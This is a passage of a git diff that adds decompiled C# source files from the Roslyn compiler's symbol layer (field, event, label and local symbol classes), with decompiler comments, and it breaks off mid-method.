a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFieldLikeEventSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFieldLikeEventSymbol.cs new file mode 100644 index 0000000..24c7d01 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFieldLikeEventSymbol.cs @@ -0,0 +1,135 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceFieldLikeEventSymbol : SourceEventSymbol +{ + private readonly string _name; + + private readonly TypeWithAnnotations _type; + + private readonly SynthesizedEventAccessorSymbol _addMethod; + + private readonly SynthesizedEventAccessorSymbol _removeMethod; + + internal override FieldSymbol? AssociatedField => AssociatedEventField; + + internal SourceEventFieldSymbol? AssociatedEventField { get; } + + public override string Name => _name; + + public override TypeWithAnnotations TypeWithAnnotations => _type; + + public override MethodSymbol AddMethod => _addMethod; + + public override MethodSymbol RemoveMethod => _removeMethod; + + internal override bool IsExplicitInterfaceImplementation => false; + + protected override AttributeLocation AllowedAttributeLocations + { + get + { + if ((object)AssociatedEventField == null) + { + return AttributeLocation.Method | AttributeLocation.Event; + } + return AttributeLocation.Method | AttributeLocation.Field | AttributeLocation.Event; + } + } + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + internal SourceFieldLikeEventSymbol(SourceMemberContainerTypeSymbol containingType, Binder binder, SyntaxTokenList modifiers, VariableDeclaratorSyntax declaratorSyntax, BindingDiagnosticBag diagnostics) + : base(containingType, declaratorSyntax, modifiers, isFieldLike: true, null, declaratorSyntax.Identifier, diagnostics) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_01fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0201: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = declaratorSyntax.Identifier; + _name = ((SyntaxToken)(ref identifier)).ValueText; + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + VariableDeclarationSyntax variableDeclarationSyntax = (VariableDeclarationSyntax)declaratorSyntax.Parent; + _type = BindEventType(binder, variableDeclarationSyntax.Type, instance); + if (IsOverride) + { + EventSymbol overriddenEvent = base.OverriddenEvent; + if ((object)overriddenEvent != null) + { + SourceEventSymbol.CopyEventCustomModifiers(overriddenEvent, ref _type, ContainingAssembly); + } + } + bool flag = declaratorSyntax.Initializer != null; + bool flag2 = containingType.IsInterfaceType(); + if (flag) + { + if (flag2 && !IsStatic) + { + diagnostics.Add(ErrorCode.ERR_InterfaceEventInitializer, GetFirstLocation(), this); + } + else if (IsAbstract) + { + diagnostics.Add(ErrorCode.ERR_AbstractEventInitializer, GetFirstLocation(), this); + } + else if (IsExtern) + { + diagnostics.Add(ErrorCode.ERR_ExternEventInitializer, GetFirstLocation(), this); + } + } + if (flag || (!IsExtern && !IsAbstract)) + { + AssociatedEventField = MakeAssociatedField(declaratorSyntax); + } + if (!IsStatic && ContainingType.IsReadOnly) + { + diagnostics.Add(ErrorCode.ERR_FieldlikeEventsInRoStruct, GetFirstLocation()); + } + if (flag2) + { + if ((IsAbstract || IsVirtual) && IsStatic) + { + if (!ContainingAssembly.RuntimeSupportsStaticAbstractMembersInInterfaces) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfaces, GetFirstLocation()); + } + } + else if (IsExtern || IsStatic) + { + if (!ContainingAssembly.RuntimeSupportsDefaultInterfaceImplementation) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportDefaultInterfaceImplementation, GetFirstLocation()); + } + } + else if (!IsAbstract) + { + diagnostics.Add(ErrorCode.ERR_EventNeedsBothAccessors, GetFirstLocation(), this); + } + } + _addMethod = new SynthesizedEventAccessorSymbol(this, isAdder: true, isExpressionBodied: false); + _removeMethod = new SynthesizedEventAccessorSymbol(this, isAdder: false, isExpressionBodied: false); + if (variableDeclarationSyntax.Variables[0] == declaratorSyntax) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + + private SourceEventFieldSymbol MakeAssociatedField(VariableDeclaratorSyntax declaratorSyntax) + { + return new SourceEventFieldSymbol(this, declaratorSyntax, BindingDiagnosticBag.Discarded); + } + + internal override void ForceComplete(SourceLocation? locationOpt, CancellationToken cancellationToken) + { + if ((object)AssociatedField != null) + { + AssociatedField.ForceComplete(locationOpt, cancellationToken); + } + base.ForceComplete(locationOpt, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFieldSymbol.cs new file mode 100644 index 0000000..e59a7fe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFieldSymbol.cs @@ -0,0 +1,103 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceFieldSymbol : FieldSymbolWithAttributesAndModifiers +{ + protected readonly SourceMemberContainerTypeSymbol containingType; + + public abstract override string Name { get; } + + protected override IAttributeTargetSymbol AttributeOwner => this; + + internal sealed override bool RequiresCompletion => true; + + internal bool IsNew => (Modifiers & DeclarationModifiers.New) != 0; + + protected ImmutableArray RequiredCustomModifiers + { + get + { + if (!IsVolatile) + { + return ImmutableArray.Empty; + } + return ImmutableArray.Create(CSharpCustomModifier.CreateRequired(ContainingAssembly.GetSpecialType((SpecialType)34))); + } + } + + public sealed override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public sealed override Symbol ContainingSymbol => containingType; + + public override NamedTypeSymbol ContainingType => containingType; + + internal sealed override bool HasRuntimeSpecialName => Name == "value__"; + + internal override bool IsRequired => (Modifiers & DeclarationModifiers.Required) != 0; + + protected SourceFieldSymbol(SourceMemberContainerTypeSymbol containingType) + { + this.containingType = containingType; + } + + protected void CheckAccessibility(BindingDiagnosticBag diagnostics) + { + ModifierUtils.CheckAccessibility(Modifiers, this, isExplicitInterfaceImplementation: false, diagnostics, ErrorLocation); + } + + protected void ReportModifiersDiagnostics(BindingDiagnosticBag diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (ContainingType.IsSealed && DeclaredAccessibility.HasProtected()) + { + diagnostics.Add(AccessCheck.GetProtectedMemberInSealedTypeError(containingType), ErrorLocation, this); + } + else if (IsVolatile && IsReadOnly) + { + diagnostics.Add(ErrorCode.ERR_VolatileAndReadonly, ErrorLocation, this); + } + else if (containingType.IsStatic && !IsStatic) + { + diagnostics.Add(ErrorCode.ERR_InstanceMemberInStaticClass, ErrorLocation, this); + } + else if (!IsStatic && !IsReadOnly && containingType.IsReadOnly) + { + diagnostics.Add(ErrorCode.ERR_FieldsInRoStruct, ErrorLocation); + } + } + + protected sealed override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if (arguments.Attribute.IsTargetAttribute(this, AttributeDescription.FixedBufferAttribute)) + { + ((BindingDiagnosticBag)(object)arguments.Diagnostics).Add(ErrorCode.ERR_DoNotUseFixedBufferAttr, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location); + } + else + { + base.DecodeWellKnownAttributeImpl(ref arguments); + } + } + + internal override void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + CSharpCompilation declaringCompilation = DeclaringCompilation; + Location errorLocation = ErrorLocation; + if ((int)RefKind == 3) + { + declaringCompilation.EnsureIsReadOnlyAttributeExists(diagnostics, errorLocation, modifyCompilation: true); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(base.Type)) + { + declaringCompilation.EnsureNativeIntegerAttributeExists(diagnostics, errorLocation, modifyCompilation: true); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this) && base.TypeWithAnnotations.NeedsNullableAttribute()) + { + declaringCompilation.EnsureNullableAttributeExists(diagnostics, errorLocation, modifyCompilation: true); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFieldSymbolWithSyntaxReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFieldSymbolWithSyntaxReference.cs new file mode 100644 index 0000000..6382730 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFieldSymbolWithSyntaxReference.cs @@ -0,0 +1,161 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceFieldSymbolWithSyntaxReference : SourceFieldSymbol +{ + private readonly string _name; + + private readonly TextSpan _locationSpan; + + private readonly SyntaxReference _syntaxReference; + + private string _lazyDocComment; + + private string _lazyExpandedDocComment; + + private ConstantValue _lazyConstantEarlyDecodingValue = ConstantValue.Unset; + + private ConstantValue _lazyConstantValue = ConstantValue.Unset; + + public SyntaxTree SyntaxTree => _syntaxReference.SyntaxTree; + + public CSharpSyntaxNode SyntaxNode => (CSharpSyntaxNode)(object)_syntaxReference.GetSyntax(default(CancellationToken)); + + public sealed override string Name => _name; + + public sealed override ImmutableArray Locations => ImmutableArray.Create(GetFirstLocation()); + + internal sealed override Location ErrorLocation => GetFirstLocation(); + + public sealed override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Create(_syntaxReference); + + protected SourceFieldSymbolWithSyntaxReference(SourceMemberContainerTypeSymbol containingType, string name, SyntaxReference syntax, TextSpan locationSpan) + : base(containingType) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + _name = name; + _syntaxReference = syntax; + _locationSpan = locationSpan; + } + + internal override LexicalSortKey GetLexicalSortKey() + { + return new LexicalSortKey(_syntaxReference, DeclaringCompilation); + } + + public override Location TryGetFirstLocation() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return _syntaxReference.SyntaxTree.GetLocation(_locationSpan); + } + + public override bool IsDefinedInSourceTree(SyntaxTree tree, TextSpan? definedWithinSpan, CancellationToken cancellationToken = default(CancellationToken)) + { + return Symbol.IsDefinedInSourceTree(_syntaxReference, tree, definedWithinSpan); + } + + public sealed override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return SourceDocumentationCommentUtils.GetAndCacheDocumentationComment(this, expandIncludes, ref expandIncludes ? ref _lazyExpandedDocComment : ref _lazyDocComment); + } + + internal sealed override ConstantValue GetConstantValue(ConstantFieldsInProgress inProgress, bool earlyDecodingWellKnownAttributes) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + ConstantValue lazyConstantValue = GetLazyConstantValue(earlyDecodingWellKnownAttributes); + if (lazyConstantValue != ConstantValue.Unset) + { + return lazyConstantValue; + } + if (!inProgress.IsEmpty) + { + inProgress.AddDependency(this); + return ConstantValue.Unset; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + this.OrderAllDependencies(instance, earlyDecodingWellKnownAttributes); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + ConstantEvaluationHelpers.FieldInfo current = enumerator.Current; + current.Field.BindConstantValueIfNecessary(earlyDecodingWellKnownAttributes, current.StartsCycle); + } + instance.Free(); + return GetLazyConstantValue(earlyDecodingWellKnownAttributes); + } + + internal ImmutableHashSet GetConstantValueDependencies(bool earlyDecodingWellKnownAttributes) + { + ConstantValue lazyConstantValue = GetLazyConstantValue(earlyDecodingWellKnownAttributes); + if (lazyConstantValue != ConstantValue.Unset) + { + return ImmutableHashSet.Empty; + } + PooledHashSet instance = PooledHashSet.GetInstance(); + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(); + lazyConstantValue = MakeConstantValue((HashSet)(object)instance, earlyDecodingWellKnownAttributes, instance2); + ImmutableHashSet result; + if (((HashSet)(object)instance).Count == 0 && lazyConstantValue != (ConstantValue)null && !lazyConstantValue.IsBad && lazyConstantValue != ConstantValue.Unset && !((BindingDiagnosticBag)instance2).HasAnyResolvedErrors()) + { + SetLazyConstantValue(lazyConstantValue, earlyDecodingWellKnownAttributes, instance2, startsCycle: false); + result = ImmutableHashSet.Empty; + } + else + { + result = ImmutableHashSet.Empty.Union((IEnumerable)instance); + } + ((BindingDiagnosticBag)(object)instance2).Free(); + instance.Free(); + return result; + } + + private void BindConstantValueIfNecessary(bool earlyDecodingWellKnownAttributes, bool startsCycle) + { + if (!(GetLazyConstantValue(earlyDecodingWellKnownAttributes) != ConstantValue.Unset)) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(); + if (startsCycle) + { + instance2.Add(ErrorCode.ERR_CircConstValue, GetFirstLocation(), this); + } + ConstantValue value = MakeConstantValue((HashSet)(object)instance, earlyDecodingWellKnownAttributes, instance2); + SetLazyConstantValue(value, earlyDecodingWellKnownAttributes, instance2, startsCycle); + ((BindingDiagnosticBag)(object)instance2).Free(); + instance.Free(); + } + } + + private ConstantValue GetLazyConstantValue(bool earlyDecodingWellKnownAttributes) + { + if (!earlyDecodingWellKnownAttributes) + { + return _lazyConstantValue; + } + return _lazyConstantEarlyDecodingValue; + } + + private void SetLazyConstantValue(ConstantValue value, bool earlyDecodingWellKnownAttributes, BindingDiagnosticBag diagnostics, bool startsCycle) + { + if (earlyDecodingWellKnownAttributes) + { + Interlocked.CompareExchange(ref _lazyConstantEarlyDecodingValue, value, ConstantValue.Unset); + } + else if (Interlocked.CompareExchange(ref _lazyConstantValue, value, ConstantValue.Unset) == ConstantValue.Unset) + { + AddDeclarationDiagnostics(diagnostics); + DeclaringCompilation.SymbolDeclaredEvent(this); + state.NotePartComplete(CompletionPart.TypeMembers); + } + } + + protected abstract ConstantValue MakeConstantValue(HashSet dependencies, bool earlyDecodingWellKnownAttributes, BindingDiagnosticBag diagnostics); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFixedFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFixedFieldSymbol.cs new file mode 100644 index 0000000..fc57169 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceFixedFieldSymbol.cs @@ -0,0 +1,95 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class SourceFixedFieldSymbol : SourceMemberFieldSymbolFromDeclarator +{ + private const int FixedSizeNotInitialized = -1; + + private int _fixedSize = -1; + + public sealed override int FixedSize + { + get + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + if (_fixedSize == -1) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + int value = 0; + VariableDeclaratorSyntax variableDeclaratorNode = base.VariableDeclaratorNode; + if (variableDeclaratorNode.ArgumentList != null) + { + SeparatedSyntaxList arguments = variableDeclaratorNode.ArgumentList.Arguments; + if (arguments.Count != 0 && arguments[0].Expression.Kind() != SyntaxKind.OmittedArraySizeExpression) + { + if (arguments.Count > 1) + { + instance.Add(ErrorCode.ERR_FixedBufferTooManyDimensions, ((SyntaxNode)variableDeclaratorNode.ArgumentList).Location); + } + ExpressionSyntax expression = arguments[0].Expression; + Binder binder = DeclaringCompilation.GetBinderFactory(base.SyntaxTree).GetBinder((SyntaxNode)(object)expression); + binder = new ExecutableCodeBinder((SyntaxNode)(object)expression, binder.ContainingMemberOrLambda, binder).GetBinder((SyntaxNode)(object)expression); + TypeSymbol specialType = binder.GetSpecialType((SpecialType)13, instance, (SyntaxNode)(object)expression); + ConstantValue andValidateConstantValue = ConstantValueUtils.GetAndValidateConstantValue(binder.GenerateConversionForAssignment(specialType, binder.BindValue(expression, instance, Binder.BindValueKind.RValue), instance), this, specialType, (SyntaxNode)(object)expression, instance); + if (andValidateConstantValue.IsIntegral) + { + int int32Value = andValidateConstantValue.Int32Value; + if (int32Value > 0) + { + value = int32Value; + TypeSymbol pointedAtType = ((PointerTypeSymbol)base.Type).PointedAtType; + if ((long)pointedAtType.FixedBufferElementSizeInBytes() * (long)int32Value > int.MaxValue) + { + instance.Add(ErrorCode.ERR_FixedOverflow, ((SyntaxNode)expression).Location, int32Value, pointedAtType); + } + } + else + { + instance.Add(ErrorCode.ERR_InvalidFixedArraySize, ((SyntaxNode)expression).Location); + } + } + } + } + if (Interlocked.CompareExchange(ref _fixedSize, value, -1) == -1) + { + AddDeclarationDiagnostics(instance); + state.NotePartComplete(CompletionPart.Members); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _fixedSize; + } + } + + internal SourceFixedFieldSymbol(SourceMemberContainerTypeSymbol containingType, VariableDeclaratorSyntax declarator, DeclarationModifiers modifiers, bool modifierErrors, BindingDiagnosticBag diagnostics) + : base(containingType, declarator, modifiers, modifierErrors, diagnostics) + { + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + NamedTypeSymbol wellKnownType = declaringCompilation.GetWellKnownType((WellKnownType)61); + NamedTypeSymbol specialType = declaringCompilation.GetSpecialType((SpecialType)13); + TypedConstant item = default(TypedConstant); + ((TypedConstant)(ref item))._002Ector((ITypeSymbolInternal)(object)wellKnownType, (TypedConstantKind)3, (object)((PointerTypeSymbol)base.Type).PointedAtType); + TypedConstant item2 = default(TypedConstant); + ((TypedConstant)(ref item2))._002Ector((ITypeSymbolInternal)(object)specialType, (TypedConstantKind)1, (object)FixedSize); + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)118, ImmutableArray.Create(item, item2))); + } + + internal override NamedTypeSymbol FixedImplementationType(PEModuleBuilder emitModule) + { + return emitModule.SetFixedImplementationType(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceLabelSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceLabelSymbol.cs new file mode 100644 index 0000000..212d7f5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceLabelSymbol.cs @@ -0,0 +1,128 @@ +using System; +using System.Collections.Immutable; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceLabelSymbol : LabelSymbol +{ + private readonly MethodSymbol _containingMethod; + + private readonly SyntaxNodeOrToken _identifierNodeOrToken; + + private readonly ConstantValue? _switchCaseLabelConstant; + + private string? _lazyName; + + public override string Name => _lazyName ?? (_lazyName = MakeLabelName()); + + public override ImmutableArray Locations + { + get + { + if (!((SyntaxNodeOrToken)(ref _identifierNodeOrToken)).IsToken || ((SyntaxNodeOrToken)(ref _identifierNodeOrToken)).Parent != null) + { + return ImmutableArray.Create(((SyntaxNodeOrToken)(ref _identifierNodeOrToken)).GetLocation()); + } + return ImmutableArray.Empty; + } + } + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + CSharpSyntaxNode cSharpSyntaxNode = null; + if (((SyntaxNodeOrToken)(ref _identifierNodeOrToken)).IsToken) + { + if (((SyntaxNodeOrToken)(ref _identifierNodeOrToken)).Parent != null) + { + cSharpSyntaxNode = ((SyntaxNodeOrToken)(ref _identifierNodeOrToken)).Parent.FirstAncestorOrSelf((Func)null, true); + } + } + else + { + cSharpSyntaxNode = ((SyntaxNodeOrToken)(ref _identifierNodeOrToken)).AsNode().FirstAncestorOrSelf((Func)null, true); + } + if (cSharpSyntaxNode != null) + { + return ImmutableArray.Create(cSharpSyntaxNode.GetReference()); + } + return ImmutableArray.Empty; + } + } + + public override MethodSymbol ContainingMethod => _containingMethod; + + public override Symbol ContainingSymbol => _containingMethod; + + internal override SyntaxNodeOrToken IdentifierNodeOrToken => _identifierNodeOrToken; + + public ConstantValue? SwitchCaseLabelConstant => _switchCaseLabelConstant; + + public SourceLabelSymbol(MethodSymbol containingMethod, SyntaxNodeOrToken identifierNodeOrToken, ConstantValue? switchCaseLabelConstant = null) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + _containingMethod = containingMethod; + _identifierNodeOrToken = identifierNodeOrToken; + _switchCaseLabelConstant = switchCaseLabelConstant; + } + + private string MakeLabelName() + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode val = ((SyntaxNodeOrToken)(ref _identifierNodeOrToken)).AsNode(); + if (val != null) + { + if (val.Kind() == SyntaxKind.DefaultSwitchLabel) + { + return ((object)((DefaultSwitchLabelSyntax)(object)val).Keyword/*cast due to constrained. prefix*/).ToString(); + } + return ((object)val).ToString(); + } + SyntaxToken token = ((SyntaxNodeOrToken)(ref _identifierNodeOrToken)).AsToken(); + if (token.Kind() != SyntaxKind.None) + { + return ((SyntaxToken)(ref token)).ValueText; + } + return ((object)_switchCaseLabelConstant)?.ToString() ?? ""; + } + + public SourceLabelSymbol(MethodSymbol containingMethod, ConstantValue switchCaseLabelConstant) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + _containingMethod = containingMethod; + _identifierNodeOrToken = SyntaxNodeOrToken.op_Implicit(default(SyntaxToken)); + _switchCaseLabelConstant = switchCaseLabelConstant; + } + + public override bool Equals(Symbol? obj, TypeCompareKind compareKind) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if ((object)obj == this) + { + return true; + } + if (obj is SourceLabelSymbol sourceLabelSymbol && sourceLabelSymbol._identifierNodeOrToken.Kind() != SyntaxKind.None && ((SyntaxNodeOrToken)(ref sourceLabelSymbol._identifierNodeOrToken)).Equals(_identifierNodeOrToken)) + { + return sourceLabelSymbol._containingMethod.Equals(_containingMethod, compareKind); + } + return false; + } + + public override int GetHashCode() + { + return ((object)Unsafe.As(ref _identifierNodeOrToken)/*cast due to constrained. prefix*/).GetHashCode(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceLocalSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceLocalSymbol.cs new file mode 100644 index 0000000..a2666b4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceLocalSymbol.cs @@ -0,0 +1,462 @@ +using System.Collections.Immutable; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class SourceLocalSymbol : LocalSymbol +{ + private sealed class LocalWithInitializer : SourceLocalSymbol + { + private readonly EqualsValueClauseSyntax _initializer; + + private readonly Binder _initializerBinder; + + private EvaluatedConstant _constantTuple; + + internal override SyntaxNode ForbiddenZone => (SyntaxNode)(object)_initializer; + + public LocalWithInitializer(Symbol containingSymbol, Binder scopeBinder, TypeSyntax typeSyntax, SyntaxToken identifierToken, EqualsValueClauseSyntax initializer, Binder initializerBinder, LocalDeclarationKind declarationKind, bool allowScoped) + : base(containingSymbol, scopeBinder, allowRefKind: true, allowScoped, typeSyntax, identifierToken, declarationKind) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + _initializer = initializer; + _initializerBinder = initializerBinder; + } + + protected override TypeWithAnnotations InferTypeOfVarVariable(BindingDiagnosticBag diagnostics) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return TypeWithAnnotations.Create(_initializerBinder.BindInferredVariableInitializer(diagnostics, RefKind, _initializer, _initializer)?.Type); + } + + private void MakeConstantTuple(LocalSymbol inProgress, BoundExpression boundInitValue) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + if (base.IsConst && _constantTuple == null) + { + ConstantValue bad = ConstantValue.Bad; + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + TypeSymbol type = base.Type; + if (boundInitValue == null) + { + boundInitValue = new LocalInProgressBinder(this, _initializerBinder).BindVariableOrAutoPropInitializerValue(_initializer, RefKind, type, instance); + } + bad = ConstantValueUtils.GetAndValidateConstantValue(boundInitValue, this, type, (SyntaxNode)(object)_initializer.Value, instance); + Interlocked.CompareExchange(ref _constantTuple, new EvaluatedConstant(bad, ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree()), null); + } + } + + internal override ConstantValue GetConstantValue(SyntaxNode node, LocalSymbol inProgress, BindingDiagnosticBag diagnostics = null) + { + if (base.IsConst && inProgress == this) + { + diagnostics?.Add(ErrorCode.ERR_CircConstValue, node.GetLocation(), this); + return ConstantValue.Bad; + } + MakeConstantTuple(inProgress, null); + if (_constantTuple != null) + { + return _constantTuple.Value; + } + return null; + } + + internal override ImmutableBindingDiagnostic GetConstantValueDiagnostics(BoundExpression boundInitValue) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + MakeConstantTuple(null, boundInitValue); + if (_constantTuple != null) + { + return _constantTuple.Diagnostics; + } + return ImmutableBindingDiagnostic.Empty; + } + } + + private sealed class ForEachLocalSymbol : SourceLocalSymbol + { + private readonly ExpressionSyntax _collection; + + private ForEachLoopBinder ForEachLoopBinder => (ForEachLoopBinder)base.ScopeBinder; + + internal override SyntaxNode ForbiddenZone => null; + + public ForEachLocalSymbol(Symbol containingSymbol, ForEachLoopBinder scopeBinder, TypeSyntax typeSyntax, SyntaxToken identifierToken, ExpressionSyntax collection, LocalDeclarationKind declarationKind) + : base(containingSymbol, scopeBinder, allowRefKind: true, allowScoped: true, typeSyntax, identifierToken, declarationKind) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + _collection = collection; + } + + protected override TypeWithAnnotations InferTypeOfVarVariable(BindingDiagnosticBag diagnostics) + { + return ForEachLoopBinder.InferCollectionElementType(diagnostics, _collection); + } + } + + private sealed class DeconstructionLocalSymbol : SourceLocalSymbol + { + private readonly SyntaxNode _deconstruction; + + private readonly Binder _nodeBinder; + + internal override SyntaxNode ForbiddenZone => (SyntaxNode)(_deconstruction.Kind() switch + { + SyntaxKind.SimpleAssignmentExpression => _deconstruction, + SyntaxKind.ForEachVariableStatement => ((ForEachVariableStatementSyntax)(object)_deconstruction).Variable, + _ => null, + }); + + public DeconstructionLocalSymbol(Symbol containingSymbol, Binder scopeBinder, Binder nodeBinder, TypeSyntax typeSyntax, SyntaxToken identifierToken, LocalDeclarationKind declarationKind, SyntaxNode deconstruction) + : base(containingSymbol, scopeBinder, allowRefKind: false, allowScoped: true, typeSyntax, identifierToken, declarationKind) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + _deconstruction = deconstruction; + _nodeBinder = nodeBinder; + } + + protected override TypeWithAnnotations InferTypeOfVarVariable(BindingDiagnosticBag diagnostics) + { + switch (_deconstruction.Kind()) + { + case SyntaxKind.SimpleAssignmentExpression: + { + AssignmentExpressionSyntax assignmentExpressionSyntax = (AssignmentExpressionSyntax)(object)_deconstruction; + DeclarationExpressionSyntax declaration = null; + ExpressionSyntax expression = null; + _nodeBinder.BindDeconstruction(assignmentExpressionSyntax, assignmentExpressionSyntax.Left, assignmentExpressionSyntax.Right, diagnostics, ref declaration, ref expression); + break; + } + case SyntaxKind.ForEachVariableStatement: + _nodeBinder.BindForEachDeconstruction(diagnostics, _nodeBinder); + break; + default: + return 